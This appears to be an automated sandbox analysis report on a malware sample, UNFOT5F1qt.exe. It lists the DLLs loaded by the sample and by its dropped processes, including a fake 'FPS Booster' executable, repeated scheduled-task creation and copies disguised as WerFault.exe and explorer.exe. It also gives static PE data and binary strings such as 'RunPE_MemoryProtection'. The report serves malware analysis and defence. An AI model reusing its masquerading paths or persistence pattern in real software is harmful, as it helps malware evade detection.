Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	Section loaded: mscoree.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: apphelp.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: version.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: version.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: wldp.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: profapi.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: version.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: wldp.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: profapi.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: amsi.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: userenv.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: rasapi32.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: rasman.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: rtutils.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: winhttp.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Section loaded: dnsapi.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: mscoree.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: version.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: amsi.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: rasapi32.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: rasman.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: rtutils.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\regedit\explorer.exe	Section loaded: dnsapi.dll

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\e7d19d53a5ec77aafa68c9a929149b118506bb42			Jump to behavior

Source: UNFOT5F1qt.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: UNFOT5F1qt.exe

Static file information: File size 1131531 > 1048576

Source: UNFOT5F1qt.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: UNFOT5F1qt.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER2082.tmp.dmp.6.dr
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdb2e source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000BC6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdb1qt.PDB source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbx source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER2082.tmp.dmp.6.dr
Source:	Binary string: RunPE_MemoryProtection.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HPOo`C:\Windows\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
